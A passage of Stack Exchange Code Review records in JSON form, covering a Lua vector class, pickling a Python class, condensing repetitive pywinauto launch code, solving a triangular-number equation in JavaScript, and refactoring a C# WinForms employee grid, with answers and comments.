packages.</p>\n</li>\n</ol>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-04T11:52:14.613",
"Id": "255595",
"ParentId": "255290",
"Score": "3"
}
},
{
"body": "<p>You could organize it by using Lua's object oriented tricks to make a class, methods etc. I need to learn more math to cleanup the code you posted but here is a sample Vector3 class I wrote with operator overloading and a sample method. Additionally all the methods get packed into one "namespace" in the Vector3 table so there is less global pollution.</p>\n<p>As far as your code goes if its just a one time run in an isolated environment its fine for its purpose, but otherwise you should encapsulate all your vars/functions into one namespace or make sure they are all local to prevent pollution as in Lua all scripts share the environment and the default is global unless local is specified. The other reason is garbage collection. "<code>any object stored in a global variable is not garbage for Lua, even if your program will never use it again</code>"-https://www.lua.org/pil/17.html</p>\n<pre><code>Vector3 = {};\nVector3.__index = Vector3; -- Set the index to the Vector3 Base Class so missing indexes on the child objects lookup back to Vector3\nfunction Vector3:New(x,y,z)\n local self = {};\n setmetatable(self, Vector3);\n self.x = x or 0;\n self.y = y or 0;\n self.z = z or 0;\n return self;\nend\nfunction Vector3:ToString() -- SampleMethod\n return "(X: " .. self.x .. " Y: " .. self.y .. " Z: " .. self.z ..")";\nend\nfunction Vector3:__add(other) -- Sample Overload\n local x = self.x + other.x;\n local y = self.y + other.y;\n local z = self.z + other.z;\n return Vector3:New(x,y,z);\nend\nfunction Vector3:__div(other)\n local distance = math.sqrt((other.x - self.x)^2 + (other.y - self.y)^2 + (other.z - self.z)^2);\n return distance;\nend\n\nlocal Origin = Vector3:New(25,25,25); -- Object1\nlocal Destin = Vector3:New(50,50,50); -- Object2\n\nprint("Vector Addition: " .. Origin:ToString() .. " + " .. Destin:ToString());\nlocal Sum = Origin + Destin;\nprint(Sum:ToString());\n\nprint("Distance Between: " .. Origin:ToString() .. " and: " .. Destin:ToString());\nlocal Distance = (Destin / Origin);\nprint(Distance);\n</code></pre>\n<p><a href=\"https://i.stack.imgur.com/yhwCb.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/yhwCb.png\" alt=\"output\" /></a></p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-04T13:02:12.447",
"Id": "255600",
"ParentId": "255290",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "255595",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T16:01:52.493",
"Id": "255290",
"Score": "6",
"Tags": [
"beginner",
"computational-geometry",
"lua"
],
"Title": "3D torus in Lua"
}
|
255290
|
<p>I am writing a program that has a 'base' class called <code>Group</code>. The class will have only one instance. Aside from some properties and methods, it needs to keep track of a variable amount of <code>group_companies</code>.</p>
<p>After working with the program (that may involve adding or deleting <code>group_companies</code>), I want to save the current state of my work to a file, which can be imported in the next session. I read that <code>pickle</code> can be used for that and even for 'pickling' classes. I have seen similar questions but none answering my question, or yet too complicated for me to be understood.</p>
<p>I came up with the following solution hereunder that seems to work.</p>
<p>Is there a better approach than my solution? I tried to define the <code>group_companies</code> as a class variable, but then it won't 'unpickle' (the <code>group_companies</code> dictionary remains empty).</p>
<p>The next step will involve changing the <code>group_companies</code> from dictionaries to classes themselves. Will that still work?</p>
<p>That you for your help and insights.</p>
<pre class="lang-py prettyprint-override"><code>import pickle
class Group():
""" Creates a group, its metadata and its methods. """
def __init__(self, name, rates):
self.name = name
self.rates = rates
def add_group_company(self, name, descriptor):
try:
self.group_companies[name] = descriptor
except Exception:
self.group_companies = {}
self.group_companies[name] = descriptor
def __repr__(self):
return "This is group {}".format(self.name)
# Initialize some variables
group_name = 'XYZ'
rates = {'EUR': 1.0000,
'USD': 1.2364,
'NOK': 8.3254,
}
# Create a group and add some group_companies
group = Group(group_name, rates)
group.add_group_company('ABC', 'some data')
group.add_group_company('DEF', 'moar data')
# pickle the class
with open('data', 'wb') as f:
pickle.dump(group, f)
# Delete class instance and test if succesfully deleted
del(group)
try:
print(group)
except Exception: # catchall
print("Variable appears no longer to exist.")
# Unpickle my class
with open('data', 'rb') as f:
group = pickle.load(f)
# Test the results (satisfactory)
print(group)
print(group.group_companies)
</code></pre>
|
[] |
[
{
"body": "<p>The <code>pickle</code> module is fine for such a use case, you just have to be\naware of <a href=\"https://docs.python.org/3/library/pickle.html\" rel=\"nofollow noreferrer\">its limitations</a>.</p>\n<p>In particular you'd run into problems in case the current class\ndefinition doesn't match the one of the stored object any more, even\nsomething like a renaming of the class is problematic.</p>\n<blockquote>\n<p>Is there a better approach than my solution? I tried to define the\n<code>group_companies</code> as a class variable, but then it won't 'unpickle'\n(the <code>group_companies</code> dictionary remains empty).</p>\n</blockquote>\n<p>Well, unless you meant to do a class variable it's fine as it is. At a\nglance I wouldn't expect that <code>pickle</code> on an object of a class would\nwrite out <em>class</em> properties anyway, so this all seems like it should\nbe. (It wouldn't make sense to write out class properties every single\ntime an object that's simply an instance of the class is being pickled,\nnot to mention reading that data back in every single time.)</p>\n<blockquote>\n<p>The next step will involve changing the <code>group_companies</code> from\ndictionaries to classes themselves. Will that still work?</p>\n</blockquote>\n<p>Presumably you'd create a <code>Company</code> class and add that to the\ndictionary? That'd work. Or if you mean you'd change <code>group_companies</code> from a\ndictionary to an object, yes, sure, that will work fine as long as the\n<code>pickle</code> module understands the objects (which it will in this case).</p>\n<p>That said, the code looks fine. Two small things I'd perhaps change:</p>\n<ul>\n<li><p>Consider using <code>__str__</code> instead of <code>__repr__</code> and the difference in\noutput between <code>group</code> and <code>print(group)</code> in the REPL</p>\n<p>(<code>This is group XYZ</code> and <code><__main.Group object at 0x...></code> for the\n<code>__str__</code> variant). <code>repr</code> should return the "canonical string\nrepresentation of the object. [...] eval(repr(obj)) == obj." That's\na good guideline for how it should behave, while <code>str</code> is simply for\nthe printed representation of the object (my words, couldn't find a\nquote quickly).</p>\n</li>\n<li><p><code>self.group_companies</code> should be initialised from the start in\n<code>__init__</code>. This simplifies <code>add_group_company</code> greatly and will\nensure the object is already in a "valid" state from the start.</p>\n</li>\n</ul>\n<p>Btw. <code>del</code> is a statement, so <code>del group</code> is a bit more explicit in what\nit does, removing the <code>group</code> name from the local variable bindings.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T07:42:13.090",
"Id": "503733",
"Score": "1",
"body": "Thank you for taking your time. For me as beginner, and not having much feeling with practice I do appreciate your insights."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T22:00:46.383",
"Id": "255304",
"ParentId": "255292",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T17:07:40.387",
"Id": "255292",
"Score": "2",
"Tags": [
"python",
"python-3.x",
"classes"
],
"Title": "Saving class including a container with pickle"
}
|
255292
|
<p>I'm writing my program in python and have it working properly, but it's over 500 lines of code. I think there is a way I can condense my code, but I'm not sure how I should do it</p>
<p>Here's an example of some of my code:</p>
<pre><code>def click():
if clicked1.get() == "app1":
os.startfile(r"C:\Users\red\Desktop\app1")
i = 0
while i < 20:
try:
app.connect(title_re=".*app1")
break
except pywinauto.findwindows.ElementNotFoundError:
time.sleep(1)
i += 1
app1 = app.top_window()
app1.move_window(x1, y1)
time.sleep(.5)
app1.maximize()
if clicked1.get() == "app2":
os.startfile(r"C:\Program Files (x86)\app2")
i = 0
while i < 20:
try:
app.connect(title_re=".*app2")
break
except pywinauto.findwindows.ElementNotFoundError:
time.sleep(1)
i += 1
app1 = app.top_window()
app1.move_window(x1, y1)
time.sleep(.5)
app1.maximize()
</code></pre>
<p>I basically have about 20 of those if statements for each different
application and for each different clicked (1-4). Is there any way I can shrink my code so it doesn't take up so many lines? Perhaps using variables?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T18:05:06.543",
"Id": "503693",
"Score": "8",
"body": "What's the purpose of the code? There is no description and the code is hardly self-documenting. Are you focused on reducing the amount of lines of code or would shorter (but more) functions be welcome too? One doesn't discount the other, but just making code short for the sake of shortness rarely helps anyone in the long run."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T10:38:44.680",
"Id": "503740",
"Score": "1",
"body": "The current question title, which states your concerns about the code, applies to too many questions on this site to be useful. The site standard is for the title to **simply state the task accomplished by the code**. Please see [**How do I ask a good question?**](https://CodeReview.StackExchange.com/help/how-to-ask)."
}
] |
[
{
"body": "<p>Yeah you can. You can write something like this:</p>\n<pre class=\"lang-py prettyprint-override\"><code>app_str = clicked1.get()\nif app_str in app_path_dict:\n os.startfile(app_path_dict[app_str])\n i = 0\n while i < 20:\n try:\n app.connect(title_re=".*" + app_str)\n break\n except pywinauto.findwindows.ElementNotFoundError:\n time.sleep(1)\n i += 1\n app1 = app.top_window()\n app1.move_window(x1, y1)\n time.sleep(.5)\n app1.maximize()\n</code></pre>\n<p>It looks like the only things being changed are those two strings, so that’s the only thing you need to change in the if block. And you can check if clicked1.get() is valid using the dict of apps and their paths.</p>\n<p>*I completely missed that the paths are different, sorry about that. You can use a dict like Willi Flemming showed.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T18:05:24.963",
"Id": "255296",
"ParentId": "255295",
"Score": "0"
}
},
{
"body": "<p>When refactoring code that is not <a href=\"https://en.wikipedia.org/wiki/Don%27t_repeat_yourself\" rel=\"nofollow noreferrer\">DRY</a> then try to identify the parts that actually do change and put those parts into some kind of data structure like a list or dictionary. Then wrap everything into a function.</p>\n<pre><code>apps = {'app1': r"C:\\Users\\red\\Desktop\\app1",\n 'app2': r"C:\\Program Files (x86)\\app2",\n ...\n }\n \nselected_app = clicked1.get()\n\ndef click():\n os.startfile(apps.get(selected_app))\n i = 0\n while i < 20:\n try:\n app.connect(title_re=".*" + selected_app)\n break\n except pywinauto.findwindows.ElementNotFoundError:\n time.sleep(1)\n i += 1\n app1 = app.top_window()\n app1.move_window(x1, y1)\n time.sleep(.5)\n app1.maximize()\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T20:35:35.393",
"Id": "255301",
"ParentId": "255295",
"Score": "3"
}
},
{
"body": "<p>Answer is already perfect.<br />\nYou could even remove two more lines by replacing the while loop with a for loop, in a more pythonic way:</p>\n<p>Current:</p>\n<pre><code>i = 0\nwhile i < 20:\n do something\n i += 1\n</code></pre>\n<p>Change:</p>\n<pre><code>for i in range(20):\n do something\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T10:25:11.067",
"Id": "255321",
"ParentId": "255295",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": "255296",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T17:52:44.230",
"Id": "255295",
"Score": "0",
"Tags": [
"python"
],
"Title": "Is there any way to condense my code so it does not take up so many lines?"
}
|
255295
|
<p>I want to solve for <code>n</code> in the expression (binomial coefficient):</p>
<p><span class="math-container">\$y=\frac{n^2+n}2\$</span></p>
<pre class="lang-js prettyprint-override"><code>let y = (Math.pow(n, 2) + n) / 2;
</code></pre>
<p>I know the <span class="math-container">\$y\$</span> value, but I want to compute <span class="math-container">\$n\$</span>.</p>
<hr />
<p>Here is what I have so far, but I would want to know if there was a way to compute the value rather than look it up. In this example, I have to lookup the max value in a reversed array that is constrained by a length of 10.</p>
<p><strong>Edit:</strong> Here is another avenue I took (still not an expression):</p>
<pre class="lang-js prettyprint-override"><code>// Iterative
const toBase = n => {
if (n < 1) return 0;
let value = n, delta = 0;
while (value > 0) value -= delta++;
return delta - 1;
};
</code></pre>
<pre class="lang-js prettyprint-override"><code>// Recursive
const toBase = (n, delta = 0) =>
n === 0 && delta === 0
? 0
: n < 1
? delta - 1
: toBase(n - delta, delta + 1);
</code></pre>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>const MAX_BASES = 10;
const range = n => new Array(MAX_BASES).fill(0);
const binomialCoefficient = n => (Math.pow(n, 2) + n) / 2;
const baseMax = range(MAX_BASES).map((v, i) => binomialCoefficient(i));
const toBase = n => baseMax.indexOf([...baseMax].reverse().find(max => n > max)) + 1;
const main = () => {
const inputs = getInputs().trim().split(/\n/)
.map(l => l.trim().split(/\s+/g).map(v => parseInt(v.trim(), 10)))
.filter(([v]) => !isNaN(v));
inputs.forEach(input => validate(...input));
};
const validate = (n, expected) => {
const actual = toBase(n);
if (actual !== expected) {
throw new Error(`${actual} !== ${expected} for n=${n}`);
}
console.log(`${n}: ${expected} === ${actual} | valid!`);
};
const getInputs = () => `
0 0
1 1
2 2
3 2
4 3
5 3
6 3
7 4
8 4
9 4
10 4
11 5
12 5
13 5
14 5
15 5
16 6
17 6
18 6
19 6
20 6
21 6
22 7
23 7
24 7
25 7
26 7
27 7
28 7
29 8
30 8
31 8
32 8
33 8
34 8
35 8
36 8
`;
main();</code></pre>
<pre class="snippet-code-css lang-css prettyprint-override"><code>.as-console-wrapper { top: 0; max-height: 100% !important; }</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code>14
14 - 1 = 13
13 - 2 = 11
11 - 3 = 8
8 - 4 = 4
4 - 5 = -1</code></pre>
</div>
</div>
</p>
<p><strong>Background:</strong> I noticed a pattern which looked very similar to a factorial expression, but with addition rather than multiplication. After some research, I stumbled upon the following question which lead me in the right direction:</p>
<blockquote>
<p><a href="https://math.stackexchange.com/questions/593318/factorial-but-with-addition/593323#593323"><em>"Factorial, but with addition" - Mathematics Stack Exchange</em></a></p>
</blockquote>
|
[] |
[
{
"body": "<h2>A review of the first 5 lines</h2>\n<p>Only looking at the code related to the problem and ignoring the testing code as it looks haphazardly put together.</p>\n<p>Thus</p>\n<blockquote>\n<pre><code>const MAX_BASES = 10;\nconst range = n => new Array(MAX_BASES).fill(0);\nconst binomialCoefficient = n => (Math.pow(n, 2) + n) / 2;\nconst baseMax = range(MAX_BASES).map((v, i) => binomialCoefficient(i));\nconst toBase = n => baseMax.indexOf([...baseMax].reverse().find(max => n > max)) + 1;\n</code></pre>\n</blockquote>\n<h2>Minor point</h2>\n<p>You should use the operator <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Exponentiation\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript operator reference. Exponentiation\">** (Exponentiation)</a> rather than the math function <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/pow\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript global objects reference. Math pow\">Math.pow</a> . Both <code>**</code> and <code>Math.pow</code> use the same pow function under the hood so there is no performance difference, however <code>**</code> is cleaner.</p>\n<h2>The bad part</h2>\n<p>The only thing that is bad in your code, even assuming you are forced to lookup the values, is that every time you call <code>toBase</code> you recreate the array, reverse it, and then search it.</p>\n<p>To get the correct value subtract the index from the arrays length. There is an edge case when the input is 0. That can be handled with a ternary.</p>\n<p>You only need to reverse the array once.</p>\n<pre><code> const baseMax = range(MAX_BASES).map((v, i) => binomialCoefficient(i)).reverse();\n</code></pre>\n<p>Subtract the index from the arrays length to get the result you are after. The edge case n = 0 can be handled with a ternary.</p>\n<pre><code> const toBase = n => !n ? 0 : baseMax.length - baseMax.indexOf(baseMax.find(max => n > max));\n</code></pre>\n<p>Rather than use <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/find\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript global objects reference. Array find\">Array.find</a> you can use <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/findIndex\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript global objects reference. Array findIndex\">Array.findIndex</a> This will save you having to search the array twice, once to find the value <code>n <= max</code> then again to find the index with <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript global objects reference. Array indexOf\">Array.indexOf</a></p>\n<p>Thus you get</p>\n<pre><code> const toBase = n => !n ? 0 : baseMax.length - baseMax.findIndex(max => n > max);\n</code></pre>\n<p>And you don't need to reverse the array which makes it even simpler</p>\n<pre><code> const baseMax = range(MAX_BASES).map((v, i) => binomialCoefficient(i));\n const toBase = n => !n ? 0 : baseMax.findIndex(max => n <= max);\n</code></pre>\n<h2>A functional solution.</h2>\n<p>The function <code>(n ** 2 + n) / 2</code> is a quadratic <span class=\"math-container\">\\$\\frac{1}2n^2 + \\frac{1}2n + 0 = y\\$</span></p>\n<p>You can solve the quadratic when <span class=\"math-container\">\\$y=0\\$</span> using <span class=\"math-container\">\\$\\begin{array}{*{20}c} {x = \\frac{{ - b \\pm \\sqrt {b^2 - 4ac} }}{{2a}}} \\\\ \\end{array}\\$</span></p>\n<p>However as we change <span class=\"math-container\">\\$n\\$</span> the solution we are after is no longer at <span class=\"math-container\">\\$y = 0\\$</span></p>\n<p>If we move the parabola down so that <span class=\"math-container\">\\$y\\$</span> is at 0 for the value <span class=\"math-container\">\\$n\\$</span> we are solving for we can then solve for any value of <span class=\"math-container\">\\$n\\$</span></p>\n<p>The quadratic to solve is <span class=\"math-container\">\\$\\frac{1}2x^2 + \\frac{1}2x - n = 0\\$</span></p>\n<p><span class=\"math-container\">\\$ {x=\\frac{{-\\frac{1}2+\\sqrt{\\frac{1}4-4*\\frac{1}2*-n} }}{{2*\\frac{1}2}}}\\$</span></p>\n<p>which is</p>\n<p><span class=\"math-container\">\\$x=-\\frac{1}2+\\sqrt{\\frac{1}4+2n} \\$</span></p>\n<p>Now we get <span class=\"math-container\">\\$x\\$</span> for <span class=\"math-container\">\\$n\\$</span> and round it up when <span class=\"math-container\">\\$x\\$</span> is a fraction.</p>\n<p><strong>The rewrite</strong></p>\n<p>An thus the 5 lines become one line.</p>\n<pre><code>const toBase = n => Math.ceil(-0.5 + (0.25 + 2 * n) ** 0.5);\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T05:22:16.857",
"Id": "503725",
"Score": "0",
"body": "What is `Math.ceil` for?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T05:59:04.510",
"Id": "503727",
"Score": "0",
"body": "@tsh binomial coefficients are positive integer values. `Math.ceil` rounds the value up if it is not an integer."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T06:30:00.913",
"Id": "503728",
"Score": "0",
"body": "So, any reason to choice `Math.ceil` instead of `Math.round`? Will it works better with float point errors?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T06:33:43.930",
"Id": "503729",
"Score": "0",
"body": "@tsh `round` rounds down `Math.round(1.2) === 1` , `ceil` rounds up `Math.ceil(1.2) === 2`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T15:11:49.290",
"Id": "503771",
"Score": "0",
"body": "Thanks, this all makes sense. I forgot about solving for a quadratic!"
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T04:31:47.500",
"Id": "255314",
"ParentId": "255303",
"Score": "3"
}
},
{
"body": "<p>We have <span class=\"math-container\">\\$y=\\frac{n^2+n}2=\\frac{n(n+1)}2\\$</span> and thus <span class=\"math-container\">\\$2y=n(n+1)\\$</span> and thus <span class=\"math-container\">\\$\\sqrt{2y}\\$</span> lies between <span class=\"math-container\">\\$n\\$</span> and <span class=\"math-container\">\\$n+1\\$</span>, so just round down:</p>\n<pre><code>n = Math.floor((2 * y) ** 0.5)\n</code></pre>\n<p>or</p>\n<pre><code>n = Math.floor(Math.sqrt(2 * y))\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T17:25:03.163",
"Id": "255332",
"ParentId": "255303",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": "255314",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T21:40:45.183",
"Id": "255303",
"Score": "0",
"Tags": [
"javascript",
"algorithm"
],
"Title": "Solve binomial coefficient without lookup"
}
|
255303
|
<p>I have a DataGridView which displays an employee list. I use the employee ID to filter my global employee list and display information about the selected employee in various listboxes. This is my first coding project, and I'm pleased that it's working well, but I do feel like I'm repeating myself a lot. Is this an instance where an experienced coder would be able to abstract some underlying pattern and write a method which simplifies everything?</p>
<p>Also, after setting the datasources, I have a comment, "CREATE DATASOURCE LIST". I've heard that comments shouldn't say WHAT code does, but rather WHY it does something. But I find the green comments in caps makes it really easy to find sections of my code at a glance. I also have comments to separate the various Tabs on my Winform application. "INVENTORY TAB", "EMPLOYEE TAB", "VEHICLES TAB", etc. Are those frowned upon?</p>
<pre><code> private void employeeGridView_CellClick(object sender, DataGridViewCellEventArgs e)
{
DataGridViewCell selectedEmployeeCell = employeeGridView.CurrentCell;
int selectedEmployeeRow = selectedEmployeeCell.RowIndex;
int selectedEmployeeID = (int)employeeGridView.Rows[selectedEmployeeRow].Cells[0].Value;
certificationsListBox.DataSource = certificationListBoxString(id: selectedEmployeeID, employees: globalEmployeeList.ToList());
citationsListBox.DataSource = citationsListBoxString(id: selectedEmployeeID, employees: globalEmployeeList.ToList());
emailGridView.DataSource = null;
emailGridView.DataSource = GetEmailRecordsList(SelectedEmployeeID: selectedEmployeeID);
emailGridView.Columns[0].Visible = false;
emailGridView.RowHeadersVisible = false;
emailGridView.Columns[1].Width = 200;
emailGridView.Columns[2].Width = 75;
phoneGridView.DataSource = null;
phoneGridView.DataSource = GetPhoneRecordsList(SelectedEmployeeID: selectedEmployeeID);
phoneGridView.Columns[0].Visible = false;
phoneGridView.RowHeadersVisible = false;
phoneGridView.Columns[1].Width = 150;
phoneGridView.Columns[2].Width = 75;
DepartmentListBox.DataSource = null;
DepartmentListBox.DataSource = GetDepartment(SelectedEmployeeID: selectedEmployeeID);
DepartmentListBox.ClearSelected();
StatusListBox.DataSource = null;
StatusListBox.DataSource = GetStatus(SelectedEmployeeID: selectedEmployeeID);
StatusListBox.ClearSelected();
HireDateListBox.DataSource = null;
HireDateListBox.DataSource = GetHireDate(SelectedEmployeeID: selectedEmployeeID);
HireDateListBox.ClearSelected();
}
//CREATE DATASOURCE LISTS
public static IList<EmployeeModel> globalEmployeeList = new List<EmployeeModel>();
public static async Task<IList<EmployeeModel>> InitializeEmployeeList()
{
globalEmployeeList = await GlobalConfig.Connection.GetEmployeeList();
foreach (EmployeeModel eModel in globalEmployeeList)
{
var groupedEmailList = new List<EmailModel>();
var groupedPhoneList = new List<PhoneModel>();
List<int> phoneIDs = new List<int>();
List<int> emailIDs = new List<int>();
foreach (EmailModel emailModel in eModel.EmailList)
{
if (!emailIDs.Contains(emailModel.ID))
{
emailIDs.Add(emailModel.ID);
groupedEmailList.Add(emailModel);
}
}
eModel.EmailList = groupedEmailList;
foreach (PhoneModel phoneModel in eModel.PhoneList)
{
if (!phoneIDs.Contains(phoneModel.ID))
{
phoneIDs.Add(phoneModel.ID);
groupedPhoneList.Add(phoneModel);
}
}
eModel.EmailList = groupedEmailList;
eModel.PhoneList = groupedPhoneList;
}
return globalEmployeeList;
}
private IList<PhoneModel> phoneRecords = new List<PhoneModel>();
private IList<PhoneModel> GetPhoneRecordsList(int SelectedEmployeeID)
{
if (phoneRecords != null)
{
phoneRecords.Clear();
}
foreach (EmployeeModel em in globalEmployeeList.Where(person => person.ID == SelectedEmployeeID))
{
foreach (PhoneModel pm in em.PhoneList)
{
phoneRecords.Add(pm);
}
}
return (IList<PhoneModel>)phoneRecords;
}
public IList<EmailModel> emailRecords = new List<EmailModel>();
public IList<EmailModel> GetEmailRecordsList(int SelectedEmployeeID)
{
if (emailRecords != null)
{
emailRecords.Clear();
}
foreach (EmployeeModel em in globalEmployeeList.Where(person => person.ID == SelectedEmployeeID))
{
foreach (EmailModel emm in em.EmailList)
{
emailRecords.Add(emm);
}
}
return (IList<EmailModel>)emailRecords;
}
/* TURN THIS INTO A WHILE LOOP ONCE YOU LEARN HOW TO DO WHILE LOOPS
ALSO, THERE IS NO REASON FOR GETSTATUS() OR GETDEPARTMENT() TO RETURN LISTS
OF STRINGS. I WAS CLEARLY JUST REPEATING THE CODE FROM EMAIL AND PHONE LISTS
BECAUSE IT WORKED, BUT I SHOULD REFACTOR SO THE FUNCTIONS RETURN SIMPLE
STRINGS. */
public IList<string> selectedStatus = new List<string>();
public IList<string> GetStatus(int SelectedEmployeeID)
{
if (selectedStatus != null)
{
selectedStatus.Clear();
foreach (EmployeeModel em in globalEmployeeList.Where(person => person.ID == SelectedEmployeeID))
{
selectedStatus.Add(em.Status.Name);
}
}
return (IList<string>)selectedStatus;
}
public IList<string> selectedDepartment = new List<string>();
public IList<string> GetDepartment(int SelectedEmployeeID)
{
if (selectedDepartment != null)
{
selectedDepartment.Clear();
foreach (EmployeeModel em in globalEmployeeList.Where(person => person.ID == SelectedEmployeeID))
{
selectedDepartment.Add(em.Department.Name);
}
}
return (IList<string>)selectedDepartment;
}
public IList<string> selectedHireDate = new List<string>();
public IList<string> GetHireDate(int SelectedEmployeeID)
{
if (selectedHireDate != null)
{
selectedHireDate.Clear();
foreach (EmployeeModel em in globalEmployeeList.Where(person => person.ID == SelectedEmployeeID))
{
selectedHireDate.Add(em.HireDate.ToString() );
}
}
return (IList<string>)selectedHireDate;
}
</code></pre>
|
[] |
[
{
"body": "<p>Some quick remarks:</p>\n<ul>\n<li><p><code>InitializeEmployeeList</code> doesn't do what the method name says, since it also returns the <code>globalEmployeeList</code>. Why not name this a <code>GetXXXX</code> method?</p>\n</li>\n<li><p>Avoid using words like <code>List</code> or <code>global</code> in variable names or method names. A <code>List<Employee></code> should simply be called <code>Employees</code>, for instance.</p>\n</li>\n<li><p>Be careful of what you make <code>public</code>.</p>\n</li>\n<li><p>I get why all these methods etc. are in this code-behind file, but IMHO you should attempt to move these as much as possible to one or more dedicated classes of their own. Consider that you've posted about 150 lines, and <code>employeeGridView_CellClick</code> isn't even 1/3 of those.</p>\n</li>\n<li><p>Use the proper collection types when you need them. for example, <a href=\"https://www.dotnetperls.com/hashset\" rel=\"nofollow noreferrer\">HashSet</a>.</p>\n</li>\n<li><p>Do not pointlessly abbreviate: <code>eModel</code> is meaningless, just call it <code>employeeModel</code>. Ditto <code>em</code>, <code>emm</code>, etc..</p>\n</li>\n<li><p>I'd suggest to <a href=\"https://stackoverflow.com/a/9601805/648075\">override <code>Equals</code> and <code>GetHashCode</code></a> in <code>EmailModel</code> and <code>PhoneModel</code>, that way the whole <code>foreach (EmailModel emailModel in eModel.EmailList)</code> etc. code can be replaced with a simple Linq command.</p>\n</li>\n<li><p>Parameters -- like <code>SelectedEmployeeID</code>-- need to be camelCase.</p>\n</li>\n<li><p><code>selectedStatus</code> is not a correct name for a collection. Ditto <code>selectedDepartment</code>, etc.</p>\n</li>\n<li><p>Why do you do <code>.DataSource = null;</code> when in the next line you will fill the <code>DataSource</code> anyway?</p>\n</li>\n<li><p>Why do you do <code>globalEmployeeList.ToList()</code> when <code>globalEmployeeList</code> is already a <code>List<T></code>?</p>\n</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T14:47:27.363",
"Id": "503760",
"Score": "0",
"body": "Thanks for taking the time to comment. This is all very helpful for me.\n1. I will rename InitializeEmployeeList(). That function's purpose evolved, while it's name didn't. \n2. I will take the advice not to use List or global in variable names, but could you explain why? It seems to make the code more readable, but maybe that's just because I'm inexperienced; Employee and Employees look so similar that I feel it's more likely to lead to mistakes.\n3. Okay, I will."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T14:58:25.040",
"Id": "503767",
"Score": "0",
"body": "4. Yes! I was wondering if I should do that, and if so, how to structure it. Would you have a class called something like ListBoxDataSources where I keep that code, and then call those functions on the click event? \n5. I have no idea what this means. I haven't discovered HashSet yet. I'll get there.\n6. Okay, got it.\n7. That seems a little over my head, but I think I get where you're coming from. \n8. selectedStatus & selectedDepartment shouldn't be collections, but strings. I need to fix that."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T15:05:14.900",
"Id": "503768",
"Score": "0",
"body": "9. Setting the datasource of the DataGridView to null before assigning it a value is a solution to a Winforms glitch that others have experienced. I mindlessly copied the code for the datasource of the DataGridView when setting the datasource of the listboxes. I need to correct that.\n10. globalEmployeeList is an IEnumerable. I was probably thinking if I cast it to a list early on, I would avoid confusion later. \n\nOne more question: is it a huge problem that I declare the employee list as static? I access it so frequently that it keeps me from passing it in repeatedly as a parameter."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T15:10:36.230",
"Id": "503770",
"Score": "0",
"body": "Naming things \"List\" or \"global\" etc. is \"meta\" information. It is a difficult naming convention to maintain, and Microsoft actively discourages it (what for instance when your List becomes an IEnumerable? Do you rename it?). To me, when I see something named \"Employees\", I know it is a collection. Whether it's an array or a List isn't that relevant to me."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T15:19:52.403",
"Id": "503772",
"Score": "0",
